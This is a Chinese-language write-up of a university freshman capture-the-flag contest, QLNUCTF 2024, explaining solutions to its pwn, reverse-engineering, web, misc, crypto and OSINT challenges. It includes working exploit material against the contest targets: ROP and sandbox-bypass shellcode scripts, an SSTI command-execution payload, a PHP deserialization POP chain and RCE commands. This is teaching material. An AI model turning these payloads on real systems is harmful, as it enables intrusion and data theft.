24级网络安全新生赛WP

24级网络安全新生赛

QLNUCTF

2024年11月30日,为期7小时的“QLNUCTF 2024级网络安全新生赛”圆满落幕。这场比赛吸引了来自信息科学与工程学院(人工智能学院)、数学学院、化学与化工学院、物理与电子工程学院等多个学院的同学热情参与,共有61支队伍在线上赛场展开了一场激烈的较量。比赛过程中,选手们共完成了287次有效提交,用他们的智慧和实力为观众呈现了一场精彩纷呈的网络安全竞技盛宴。这场比赛不仅彰显了同学们在网络安全领域的潜力,也体现了他们合作与创新的精神,为未来的发展打下了坚实基础。







比赛现场









PWN





test_nc


使用工具 netcat 连接容器即可获得靶机的shell

使用cat flag指令即可打印出flag


有没有边界感?


数组越界+ROP

这个题特地给还没有PWN环境的同学准备的,考察的主要内容是ROP,以及数组越界,例会上讲过

审计可以明显看到,这里指定数组索引时没任何验证,导致存在数组越界问题,通过越界就能改写到返回地址的位置

同时为了降低难度,我这边甚至做了一个可视化栈

由于存在数组越界,我们可以指定大于3的索引,比如[5]这个索引就能覆盖到返回地址处的内容,所以我们可以通过这种方法控制返回地址,然后输入777中断循环去触发ROP劫持执行流即可

但是会发现后门地址里的system函数不是/bin/sh,所以我们需要手动帮他传递/bin/sh参数,利用程序中已有的pop rdi这个gadget传参,使用ROPgadget可以找到需要的gadget

字符串参数地址和system函数地址都可以在IDA中找到

这里要注意的是,由于这道题的system()函数被传递了"sure?"这个字符串作为参数,导致我们不能直接用backdoor这个函数的地址,需要部分利用,利用这个位置的这句call system,它才是调用了system函数的一句汇编

依次交互在三个位置填入相应地址即可

最后按提示输入777中断循环就可以走到func函数的返回了

huanshu.text
简单的ret2text
咱们看这个程序分析

程序中有几个puts就是下图中红框中的输出,然后就会进入vul子函数

进入vul函数看一下主要漏洞,上一次例会给大家讲了gets,scanf,read函数的区别,虽然都能触发栈溢出,但是有条件

而在这个程序中,第一个问题是

这个用scanf读入,scanf(%s,v2)%s只有不会检查长度,这里这个scanf给的参数是%d,也就没有漏洞

再看第二个问题,

这个是用read进行读入的,但是这个的buf设置了56个字节,而在读入的时候只会读入32(0x20)个字节

这也没办法造成溢出,因为原本的56都填不满,更不要提溢出到别的地方

看第三个问题

这里就有溢出了

利用的gets函数,是没有输入限制的,除非遇到\n,那这样就可以利用栈溢出漏洞,下面就是脚本

from pwn import *
p = process('./huanshu')
p = remote('27.30.79.248',32847)
p.recvuntil("请问空调是多少度?")
p.send(b'22\n')
p.recvuntil("请问现在灯是开着的还是关着的?")
p.send(b'11')
# gdb.attach(p)
payload = b'aaaaaaaa'*13+p64(0x40101a)+p64(0x40127F)#+p64(0x40101a)
p.sendlineafter("请问现在是几点",payload)
p.interactive()

这是我们修改之后的栈布局,前面用垃圾字节填满,然后在写入ret在写入sh地址,已经给在程序里面了

flag去哪了?
这个题比较难的了,算是防ak的题主要就是  ),大家不用灰心继续加油就行了

反汇编看到主函数,发现已经开启了sandBox(沙盒)

看一下沙盒禁用了那些函数,沙盒就是一个禁用函数的进程(暂时这么理解),看到这里禁用了系统调用号为59的函数,也就是execve(),也就是说system函数不能用了,system是内嵌execve函数的,也就不能用shellcode(常规),那这个题就不能打了吗?别急往下看

接着看主函数

调用mmap函数创建了0x1000大小的可读可写可执行段,下面有对这个段初始化,然后再往段中读入,我们知道c语言的底层就是利用汇编语言,那就可以往这个段中写入汇编代码,使他执行

那这个题就可以用orw的手法来做,这个题最阴险的地方来了,用orw做出来是假的flag,因为这个题的flag存到了文件名中,而不是文件中,)

因此这个题利用了openat getdents64 wirte函数来输出文件名

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

p = process('./pwn')
# p = remote('127.0.0.1', '9999')

payload = asm('''
   mov r10, 0xffffff9c
   push r10
   pop rdi
   push 0x2f2e
   mov rsi, rsp
   push 0x90800
   pop rdx
   mov rax, 257
   syscall
   push rax
   pop rdi
   mov esi, 0x90000080
   mov edx, 0x200
   mov rax, 217
   syscall
   mov rdi, 1
   mov rax, rdi
   syscall'''
)

p.send(payload)
p.recvuntil('flag{')
flag = p.recvuntil("}").decode('utf-8')
print("flag{"+flag+"}")
p.recv()

shell()


主要讲一下这个汇编是怎么运行的

    mov r10, 0xffffff9c   //将0x0xffffff9c(-100)存放到栈中
   push r10              //将r10寄存器中的值存放到栈中
   pop rdi              //将栈顶弹出到rdi中
   
   push 0x2f2e          //将0x2f2e(./)当前目录 压入栈中
   mov rsi, rsp         //将rsp指针存入rsi(也就是./)
   push 0x90800         //将0x90800存入 栈中
   pop rdx              // 弹出栈顶到rdx
   mov rax, 257         //给rax赋值257
   syscall              //调用syscall
   在这里就是调用了函数调用号为257的函数(openat函数)利用寄存器传参
   opennat(-100,./,0x90800
   这里的0x90800就是打开模式0x02(可读写)+0x10000(仅打开目录)+0x80000(子进程关闭文件描述符)
 这样就会打开目录
 
   push rax   //将openat返回值存放到栈中
   pop rdi    //再存放到rdi中
   mov esi, 0x90000080   //将0x90000080存放到esi
   mov edx, 0x200        //将0x200存放到edx中
   mov rax, 217          //将217存放到rax
   syscall
  这里就是调用了系统调用号为217的函数(getdents64),这个函数就是将目录文件读入到缓冲区
  getdents64(rdi,0x900000800x200
  这样就会将目录文件存放到mmap开辟的缓冲区
 
   mov rdi, 1    //rdi中存入1
   mov rax, rdi  // 将rdi中的值存入到rax
   syscall
   这就是调用write函数将文件名输出出来
   这里为什么不对寄存器进行修改了呢,因为要打印出来的就是上面存入的地方也就不用修改了





RE




乌龟最显著的特点


打开die查壳

64位,upx打包


打开kali虚拟机


打开终端upx -d 脱壳

脱壳成功


打开ida64

F5主函数

非常简单的加密
NTEgNGMgNGUgNTUgN2IgNzcgNjUgMzEgNjMgMzAgNmQgNjUgNWYgNzQgMzAgNWYgNzIgNjUgNWYgNjIgNjkgNjcgNWYgNjYgNDAgNmQgNjkgMzEgNzkgMjEgN2QgMGE=

打开厨子magic一下


茶艺培训课

看提示:



 查壳:32位

 进去enc加密函数

sum初始值是0,每进行1次加密,sum就 -0x61c88647

下面是位运算

tea新手学习者点击链接看一下博客:https://blog.csdn.net/liKeQing1027520/article/detahils/141287289

贴个脚本:

#include <stdint.h>
#include <stdio.h>

// 定义解密函数
void dec(uint32_t* v, uint32_t* k) {
   uint32_t i;
   uint32_t sum;
   uint32_t v1;
   uint32_t v0;

   // 将输入的密文拆分为两个 32 位整数
   v0 = *v;
   v1 = v[1];
   sum = -0x61C88647 * 32;  // 初始化一个负数作为初始的sum值,就是上面解释的sum最终结果作为初始值,把结果当作条件进行反推
   // 循环32次进行解密操作
   for (i = 0; i <= 31; ++i) {
       v1 -= (v0 + sum) ^ (16 * v0 + k[2]) ^ ((v0 >> 5) + k[3]);  //ida里是-=,在这里为了倒推回去写+=
       v0 -= (v1 + sum) ^ (16 * v1 + *k) ^ ((v1 >> 5) + k[1]);
       sum += 0x61C88647;  // 每次解密后sum递增
   }
   // 更新解密后的明文值
   *v = v0;
   v[1] = v1;
}

int main() {
   // 输入的加密数据
   uint32_t enc[] = {
       0x142285EF,
       0x8DB607C3,
       0xCFAECC96,
       0xB700E6F4,
       0xE96E9E15,
       0x48A01A99,
       0x839897D5,
       0x2566BE81
   };

   // 加密密钥
   uint32_t key[] = { 81, 76, 78, 85 };

   // 解密每两个 32 位整数
   for (size_t i = 0; i < 8; i += 2) {
       dec(enc + i, key);  // 解密每次操作两个整数
   }

   // 输出解密后的内容,按字符输出
   for (int i = 0; i < 8; i++) {
       // 将每个 32 位整数拆分成 4 个字节,并输出为字符
       printf("%c%c%c%c", (enc[i] >> 24) & 0xFF,
           (enc[i] >> 16) & 0xFF,
           (enc[i] >> 8) & 0xFF,
           enc[i] & 0xFF);
   }
   printf("\n");

   return 0;
}

加减

简单的加减逆向和异或:

在IDA里面:
所以再写脚本的时候就是先+3-19再^6
脚本:
a=[ 0x67, 0x5a, 0x58, 0x63, 0x8d, 0x74, 0x83, 0x69, 0x85, 0x7e, 0x7f, 0x69,
                 0x7b, 0x73, 0x78, 0x69, 0x71, 0x73, 0x69, 0x78, 0x7f, 0x69, 0x7c, 0x80, 0x69,
                 0x84, 0x77, 0x78, 0x69, 0x8c, 0x83, 0x79, 0x69, 0x75, 0x7e, 0x83, 0x69, 0x7a,
                 0x77, 0x7f, 0x69, 0x7a, 0x73, 0x8b]
for i in range (len(a)):
   a[i]+=3
   a[i]-=19
   a[i]^=6
   print(chr(a[i]),end='')
#flag:QLNU{bu_shi_men_ge_ni_jv_ran_zuo_chu_lai_le}
fourcr
这是个魔改rc4的题目

先查壳:

是一个UPX的壳直接脱壳

脚本:

def rc4(key, data):
   """
   RC4解密/加密函数
   :param key: 密钥
   :param data: 输入数据(密文或明文)
   :return: 处理后的数据(明文或密文)
   """
   S
= list(range(256))
   j = 0

   # 密钥调度算法 (KSA)
   key = [ord(k) for k in key]  # 将密钥转换为字符列表
   for i in range(256):
       j = (j + S[i] + key[i % len(key)]) % 256
       S[i], S[j] = S[j], S[i]

   # 伪随机生成算法 (PRGA)
   i = 0
   j = 0
   output = []
   for byte in data:
       i = (i + 1) % 256
       j = (j + S[i]) % 256
       S[i], S[j] = S[j], S[i]
       k = S[(S[i] + S[j]) % 256]
       output.append((byte ^ k)-7)

   return bytes(output)


# 示例用法
if __name__ == "__main__":
   # 假设密钥和密文
   key = "UNLQ"  # 密钥
   ciphertext = bytes([  0x29, 0xBB, 0x67, 0x0C, 0x32, 0x5C, 0x0A, 0x7E,
       0x9B, 0x8C, 0x90, 0xA0, 0x6E, 0xBE, 0xF0, 0x8B,
       0x73, 0xD9, 0x5C, 0x15, 0xCB, 0x92, 0x76, 0xE7])  # 这里使用一个例子密文

   # 解密过程
   plaintext = rc4(key, ciphertext)

   print("解密后的明文:", plaintext.decode("utf-8", errors="ignore"))
//flag:
//QLNU{0hhhhh!_you_did_it}




WEB





游戏大师
F12->源代码(Sources)
前端网页游戏(html+css+js实现)的源代码都在这里。

html:超文本标记语言(英语:HyperText Markup Language,简称:HTML)是一种用于创建网页的标准标记语言。

Css:CSS(Cascading Style Sheets,层叠样式表),是一种用来为结构化文档(如 HTML 文档或 XML 应用)添加样式(字体、间距和颜色等)的计算机语言,CSS文件扩展名为.css

Js:JavaScript 是一种脚本编程语言,它可以在网页上实现复杂的功能。

js里面就是网页的逻辑代码。

style一般是放css样式表的

找到main.js入口脚本,

ctrl+F搜索flag

发现有个getFlag函数,和一个score变量

解法一


开始游戏之后,在控制台输入score可以发现,score的值是0。这代表score存在

输入score=10000,然后回车


发现score的值已经被赋予了10000

然后按下p返回游戏,一直到游戏结束,会弹出flag


解法2

因为有getFlag函数,直接在控制台调用getFlag函数


分析getFlag函数可以发现

async function getFlag(score){

const url = `${window.location.href}getflag.php?score=${encodeURIComponent(score)}`;
   try {
       const response = await fetch(url);
       const data = await response.text(); // 处理返回的字符串
       alert(data); // 打印结果
   } catch (error) {
       console.error('Error:', error.message); // 打印错误信息
   }
}

这个函数的内容是向/getflag.php?score=分数,发送请求然后返回结果。

可以直接访问




拯救大福学长
这题很简单,绕过sha1之后就是rce,只不过还考察了一点,就是linux系统下解压zip的命令。
绕过方法很多,参考下面的链接。
https://blog.csdn.net/cosmoslin/article/details/120973888
主要是0e绕过数组绕过
之后就是rce
ls,找到大福.zip。
然后知道密码了,使用unzip -P jiujiudafuxuezhang 大福.zip

进行解压

然后执行ls,发现多了一个flag.txt,执行cat flag.txt,拯救了大幅学长,并且得到了一个牛马。




模板注入
ssti是一个web学习的小模块。
主要是后端应用来渲染模板时,接受了用户输入的内容,可以把用户输入的内容来进行渲染,导致了漏洞的产生。
这题只过滤了flag,属于RCE命令执行的知识点,用通配符绕过
具体就是把cat /flag改成cat /f*或者cat /f???

了解通配符看这个https://zhuanlan.zhihu.com/p/96272363

这种题目不太好介绍,建议直接开学。

https://xz.aliyun.com/t/6885

还有常用payload链接

https://blog.csdn.net/Myon5/article/details/131548888

最简单的payload是

{{lipsum.globals['os']['popen']('cat /f*').read()}}



unserialize
反序列化题目的做法,是先序列化出pop链,传给题目。

下面是源代码,在开始之前需要先了解魔术方法和面向对象的思想。

<?php
   highlight_file(__FILE__);
   error_reporting(0);
   class A{
       public $x="die";
       public $s;
       public function __wakeup(){
           if($this->x=="hello"){
               echo "第一步不是轻轻松松!";
               echo $this->s;
           }else{
               die("开头就死啦");
           }
       }
   }
   class B{
       public $qwq;
       public function __toString()
       
{
           echo "当一个对象被当函数调用会怎么样啊";
           $a=$this->qwq;
           $a();
       }
   }
   class candy{
       public $v;
       public function __invoke()
       
{
           echo "最后一步!";
           if(file_get_contents($this->v)=="love"){
               echo "恭喜你拿到flag了呢!";
               $this->getFlag();
           }
       }
       public function getFlag(){
           $flag = getenv('GZCTF_FLAG');
           echo $flag;
       }
   }

   $data = $_POST['data'];
   unserialize($data);
?>

https://segmentfault.com/a/1190000007250604

面向对象中,class是类,对象是类的实例,
可以理解为,类是创建对象的模板。
一个类可以有多个对象。
反序列化是把序列化的对象恢复。
序列化是为了方便持久化存储对象,传输对象....

所以unserialize之前得serialize。

题目中,主要是三个魔术方法。
  1. __wakeup(),执行unserialize()时,先会调用这个函数。一看就是pop链从这里开始。
  2. __toString(),类被当成字符串时的回应方法
  3. __invoke(),调用函数的方式调用一个对象时的回应方法。

可以知道,pop链子的开头是__wakeup(),结尾时到出发getFlag函数。

在__wakeup函数内,需要把die修改为hello,然后会echo 一个变量s,

把s设为ClassB的某个实例对象,然后就会触发__toString,然后在B里面,有个变量qwq,qwq设置成candy的实例对象,那么就会触发__invoke,因为qwq()是把对象当函数执行了。

!!!!

最后就是file_get_contents函数的绕过,这个一个考点。

使用伪协议绕过data://text/plain,love

https://blog.csdn.net/qq_51524329/article/details/121439731

if(file_get_contents($this->v)=="love"){
               echo "恭喜你拿到flag了呢!";
               $this->getFlag();
           }

有了思路之后生成序列化文本,先把原来的代码复制到phpstudy网站目录的一个php文件下,然后运行这个php文件。删除highlight_file(__FILE__);这段代码,去除无用的信息。

<?php
error_reporting(0);
class A{
   public $x="die";
   public $s;
   public function __wakeup(){
       if($this->x=="hello"){
           echo "第一步不是轻轻松松!";
           echo $this->s;
       }else{
           die("开头就死啦");
       }
   }
}
class B{
   public $qwq;
   public function __toString()
   
{
       echo "当一个对象被当函数调用会怎么样啊";
       $a=$this->qwq;
       $a();
   }
}
class candy{
   public $v;
   public function __invoke()
   
{
       echo "最后一步!";
       if(file_get_contents($this->v)=="love"){
           echo "恭喜你拿到flag了呢!";
           $this->getFlag();
       }
   }
   public function getFlag(){
       $flag = getenv('GZCTF_FLAG');
       echo $flag;
   }
}


//下面就是构造pop链。
$a = new A();
$b = new B();
$candy = new Candy();
$a->x="hello";
$candy->v="data://text/plain,love";

$a->s = $b;
$b->qwq=$candy;


echo serialize($a);
?>

最后输出的结果

O:1:"A":2:{s:1:"x";s:5:"hello";s:1:"s";O:1:"B":1:{s:3:"qwq";O:5:"candy":1:{s:1:"v";s:22:"data://text/plain,love";}}}


想要学习php反序列化的,可以去看

【PHP反序列化漏洞学习】 https://www.bilibili.com/video/BV1R24y1r71C





MISC




加密通话
打开附件发现是一大坨颜文字
百度 颜文字密码 等词可以找到一种颜文字加解密器

解密可以得到一段编码

一眼就能看出是摩斯电码,就算看不出来直接拿去百度应该也能百度到

摩斯电码随便找个解码器解码

解码发现还有一层编码,内容只有大写字母和数字,是base32,或者直接用赛博厨子也能一把梭


拼图游戏
手动解法:
附件解压出来发现是一个25块二维码碎片

手拼理论可行,但有点抽象,不如找找有没有顺序相关的线索


发现每张图的文件尾都有一个字节是一个数字,这个数字其实就是拼图的顺序,从左到右,从上到下,按顺序拼起来扫描即可

脚本解法:

既然可以联网,为何不试试gpt呢

已知每张png的文件尾后面的一个字节(整个文件的最后一字节)是拼图顺序序号,所以可以让gpt帮忙写脚本

gpt生成脚本:

import os
from PIL import Image
import numpy as np

def extract_last_byte(filename):
   """
   从PNG文件中提取最后一字节的值
   """

   with open(filename, 'rb') as f:
       f.seek(-1, os.SEEK_END)  # 移动到文件尾
       last_byte = f.read(1)    # 读取最后一字节
       return ord(last_byte)    # 返回该字节的整数值

def create_large_image(image_folder):
   """
   根据文件尾部的字节值,排序并拼接成一个大的正方形PNG图片
   """

   images = []
   filenames = []

   # 获取指定文件夹下的所有PNG文件
   for filename in os.listdir(image_folder):
       if filename.endswith('.png'):
           file_path = os.path.join(image_folder, filename)
           last_byte = extract_last_byte(file_path)
           images.append((last_byte, Image.open(file_path)))  # 存储字节值和对应的图像
           filenames.append(filename)

   # 按照最后一字节的值对图片排序
   images.sort(key=lambda x: x[0])  # 排序,按最后一字节值

   # 获取每个图像的尺寸,假设所有图像大小相同
   img_width, img_height = images[0][1].size
   grid_size = int(len(images) ** 0.5)  # 25张图,拼成一个5x5的网格

   # 创建一个大图,准备拼接
   large_image = Image.new('RGB', (img_width * grid_size, img_height * grid_size))

   # 按照排序后的顺序将小图拼接到大图中
   for index, (_, img) in enumerate(images):
       row = index // grid_size
       col = index % grid_size
       large_image.paste(img, (col * img_width, row * img_height))

   # 保存拼接后的大图
   large_image.save('large_image.png')
   print("大图已保存为 'large_image.png'")

# 使用示例
image_folder = '.\\jigsaw_puzzle'  # 替换为你的PNG文件夹路径
create_large_image(image_folder)

宇宙深处的声音

看提示

压缩包带密码,提示1给出了一个正则表达式的钥匙(key提示),搜索一下正则表达式,就知道给的意思是以 “Qlnu” 开头,后面紧跟着两个字母,取字母范围是“a” 或 “b”,然后是 “#”,最后是5个数字,数字的取值是[0-9]

掩码攻击,最多四次就可以爆破出来密码
  1. Qlnuaa#?????
  2. Qlnuab#?????
  3. Qlnubb#?????
  4. Qlnuba#?????

就这几种组合,

爆破出来密码,拿到文本



根据反复提示,搜索银河密码

知道是什么加密了,找个在线网站直接解出来

址:https://lingojam.com/standardgalacticalphabet

flag:QLNU{Death_is_not_the_end_of_life_forgetting_is_the_end_of_life}
薇尔莉特的秘密

压缩包里一张图片,看提示

猜测出是盲(谐音蟒)水印,常见的盲水印是双图片,这一个是Java盲水印(单图),工具一把梭



flag:QLNU{z1_Luo_lAn_7ong_h3n9_garden}

工具链接:https://github.com/ww23/BlindWatermark

不会使用工具看这个链接:https://blog.csdn.net/qq_51532711/article/details/138026242
失散的弗莱格一家
查看图片
根据图片可知加了IDAT隐写
我们利用工具tweakpng
查看图片
根据图片可知加了IDAT隐写

我们利用工具tweakpng

报错是因为文件末尾有"垃圾数据"  无需理会

我们删掉只显示的部分,另存为

思路就很明了了,那就是集齐二维码碎片

下面查看图片的16进制

看到最后发现了压缩包的迹象

推测在png文件的末尾加了压缩包

png通常以AE 42 60 82结尾

定位过去

发现压缩包没有文件头(50 4B 03 04)(照应断头之灾)

加上文件头之后提取

(可以新建16进制文件,手动输入文件头,再将之后的16进制复制过来,另存为zip文件)
得到了一张异火上身.png
似乎改过宽高

查看16进制

根据前两个可以想到应为正方形,AF为175,64为100

将64改为AF即为原图像(或者CRC爆破宽高)

得到:

根据"异火"谐音"异或"猜测可能为文件异或

继续查看16进制

得知异或了AB

这里搜索png末尾提取最后部分异或(推荐)
或者异或全部再提取都可

(这里提取出来命名为异火)

脚本复原:

key = b'AB'

with open('异火', 'rb') as file:
   content = file.read()

encrypted_content = bytearray(b ^ key[i % len(key)] for i, b in enumerate(content))

with open('result', 'wb') as result_file:
   result_file.write(encrypted_content)

print("已完成,存为result。")

再次查看16进制,为png图片
更改后缀得到二维码的另一部分

至此,我们是时候让弗莱格一家团聚了

团聚后扫码得到

QLNU{echo 'WTB1X0FyNF9SZUAxMXlfRXhDZWwxZW43ISEh' | base64 --decode}

意思是对WTB1X0FyNF9SZUAxMXlfRXhDZWwxZW43ISEh部分解base64

Y0u_Ar4_Re@11y_ExCel1en7!!!

所以flag即为QLNU{Y0u_Ar4_Re@11y_ExCel1en7!!!}
misaka
是一个文本缩小之后是Q版美琴:

全部复制之后放到base64解码:
#include<stdio.h>

int main() {

printf("nice_job\n");

printf("and");

printf("One last step");

char end[] = { 0x55,0x55,0x78,0x4f,0x56 };

char endd[] = { 0x58,0x73,0x77,0x62,0x6a };

char enddd[] = { 0x46,0x35,0x58,0x32,0x31 };

char endddd[] = { 0x35,0x58,0x33,0x4a,0x68 };

char enddddd[] = { 0x61,0x57,0x78,0x6e,0x64 };

char endddddd[] = { 0x57,0x35,0x39 };

printf("this is cou zi shu");

printf("this is cou zi shu");

...
数据是除了凑字数之外的数据,或者你运行一下应该也能得到数据。这个数据转为字符串之后是一个base64

然后再base64:
得到flag: QLNU{0n1y_my_railgun}
Atops

大致思路:打开之后是一个文本解密游戏玩完之后会告诉你之前黑板上的字是有问题的,复制黑板上的字,再粘贴出来之后是不同的(一般读完一定能做出来,可惜没什么人读完)

是你的身份,观察者;

第一个房间:介绍了三个人的身份

点击之后,进入页面出现第一个黑板;

选择蓝色按钮,查看三个按钮的样式能推测出就只有蓝色按钮是没有骷髅头的

之后继续剧情

出现二个黑板

击观察看到门的三人

之后继续剧情

出现第三块黑板:

继续剧情,会得到关键点:

按照他说的改

改为:

进入下一阶段

这个地方是找钥匙的特征

可以先不管先进入用小钥匙打开的房间

第四块黑板

钥匙在卧底身上

把鼠标移动上去:

会显示黑色钥匙回去填写黑色钥匙;

在进入黑色钥匙打开的房间:

得到了第五块黑板:

下面是一个连连看的游戏:

给相同的给消除了 之后得到一个单独的

然后和之前一样更改一下

之后进入第五个房间

有最后一块黑板

并且告诉你要复制粘贴

将迄今为止的黑板按照顺序进行复制并粘贴在记事本上

UUx 按按看
OVXtH    门    在    哪   里   ?
YW1lIG      没    钥     匙    打    不    开  
k1IGFUc   钥   匙   在   卧  底  身    上
GV      排     挤
TIH0=         复    制   &   粘   贴

最后得到:UUxOVXtHYW1lIGk1IGFUcGVTIH0=

很明显是一个base64,给解码就得到了最后的flag
QLNU{Game i5 aTpeS }
QLNU{we1c0me_t0_re_big_f@mi1y!}
来听一首歌吧!
打开Audacity然后看一下频谱图
QLNU{@U_yyds}



CRYPTO




签到
先用base64解码,再用栅栏解码枚举解密
rsa
from Crypto.Util.number import *

p= 166384155677933861981257579791219175140355327244477904736665194885997453093682957962795797831222667939884112394156399549833746109089292522457258539473867165148549226287049636957198497459992066205327551289130724019305187363110780833457773157306049131752469271092258848841608592624447627876690546456676685897669
q= 138461922900806761098184736519727232242631578461432256856884833119117555214747776596641058657350909787916622679813931259947205024178521433610817591997278619173516062341073414571230377742742877506156214927348341753478722726159039130535203788413310165734155035558750856080904175918915803068014847200262543771401
n= 23037870135393907893103398344813462855225332081983174125610817642794833376780113266511691776090400007439379613238229744904696309239510787073074700712594636325502159639236612201512300588872836604531064976688465721530484208963012124436218783685162975997387878845983955705972888688261358249850910766711151737181078404116507324132993210622673085104786397752455982583489975396806640158846401765019434919543336145512889653786649532801106909191104317406282467930910567553750622389322082247515226849245767336399397069659991736009670581599049737564873090142708500949704601461404243129584672702805732184691365549283890414764269
d= 15361978161753653185780728612336438046236511242729247485593151072032241533769744264458663690845271689657877664191584571800359085861053464544920235833820562461827210253662498890982026153689241687208936486965571211630127873047173243358518044247147522987958675152178843223014803981959955702530397354411157698193951283394350016448216146432646166641976691905546865357115761860353623916316887742834313065193038725830846252295082072817232032181599905965757040084643822127131198771036616122553962773145773511037345305305170319087266497270990313549232675081581739770565906581623679049867419187439153102941587125761835203623073
e= 65537
c= 18984917878863323196869212255453839551005454667287936161246939468250604389562101097150334641390257286921086780724639081391934034559011253169988528944079128677774804994858250835491826432515557906646682236813171103312047349616962276294709375558127511719471101927240557407341549195886862049383193155212299019081021277415748852861641157738458368033129376648622402012566064817377932595839618320652656225139629651600752187895331670093795219881958909032363667286294013475768706994949516323868186662064087659230079893938171755269439911987592254899020749100605233364472740616825351485785288635014487118196750757340701544002691

m=pow(c,d,n)
flag=long_to_bytes(m)
print(flag)

wiener
import gmpy2
import libnum

def continuedFra(x, y):
   """计算连分数
   :param x: 分子
   :param y: 分母
   :return: 连分数列表
   """

   cf = []
   while y:
       cf.append(x // y)
       x, y = y, x % y
   return cf
def gradualFra(cf):
   """计算传入列表最后的渐进分数
   :param cf: 连分数列表
   :return: 该列表最后的渐近分数
   """

   numerator = 0
   denominator = 1
   for x in cf[::-1]:
       # 这里的渐进分数分子分母要分开
       numerator, denominator = denominator, x * denominator + numerator
   return numerator, denominator
def solve_pq(a, b, c):
   """使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
   :param a:x^2的系数
   :param b:x的系数
   :param c:pq
   :return:p,q
   """

   par = gmpy2.isqrt(b * b - 4 * a * c)
   return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
   """计算列表所有的渐近分数
   :param cf: 连分数列表
   :return: 该列表所有的渐近分数
   """

   gf = []
   for i in range(1, len(cf) + 1):
       gf.append(gradualFra(cf[:i]))
   return gf
def wienerAttack(e, n):
   """
   :param e:
   :param n:
   :return: 私钥d
   """

   cf = continuedFra(e, n)
   gf = getGradualFra(cf)
   for d, k in gf:
       if k == 0: continue
       if (e * d - 1) % k != 0:
           continue
       phi = (e * d - 1) // k
       p, q = solve_pq(1, n - phi + 1, n)
       if p * q == n:
           return d
n= 100541756352854636680885512032705513079056068698429903440656941778827700278952379226184495052511127403033969493295451475928544133372951526711441316420202575867588513342581912348151506435195323891691081724974112352549245835338147300330649119960742423278088611766082267178772266368392399725254066025934962812079
e= 62161870082391495611970281935106465305086476364158041824541523962990489410136152726509181076123557363455618316162868917810410351253790118172227114464339158541434203762425747709447133542487584793879876313209827912718504833775534346726671098816643848982190835865383628420074419418814961855270106747747773849697
c= 46042801453600335779613781388057406955176992287287986345848871202113220856049368522430362345966842232101335607313995832925098489242442596702935677811272671915266177569760921767735520988443964302603873650061683548712088874347457280444586667707805532007307727417582561078439682774565705482900361990879787301195

d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode())



社工




我测!盒!!
下载附件发现是一张地点的照片

先百图识图看看有没有线索
在相似图片里多点几个更清晰的视角更开阔的照片
最终可以在图片来源里看到这个地方是潍坊站
然后在高德地图看看这个拍摄地点可能是在什么位置,可以找这个 速8酒店
放大到最大找具体地点,可以在这个位置找到 速8酒店 ,确定后缩小
可以看到"潍坊站北广场"这个地方比较合理,结合题目描述的提示知道是这个广场,高德地图里点一下地名

可以确定结果是 潍坊市潍城区健康西街潍坊站北广场

我到底是谁?
放出原图:


第三个坤坤应该没有人不知道。

随着“QLNUCTF 2024级网络安全新生赛”的圆满结束,我们向所有参赛队伍表示祝贺。你们展现了卓越的技能和团队精神。让我们期待在未来的挑战中再次相遇,共同为网络安全领域的发展贡献力量。感谢大家的参与,期待下一次校赛!




网络安全社团公众号

微信号 : qlnu_ctf

新浪微博:齐鲁师范学院网络安全社团

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐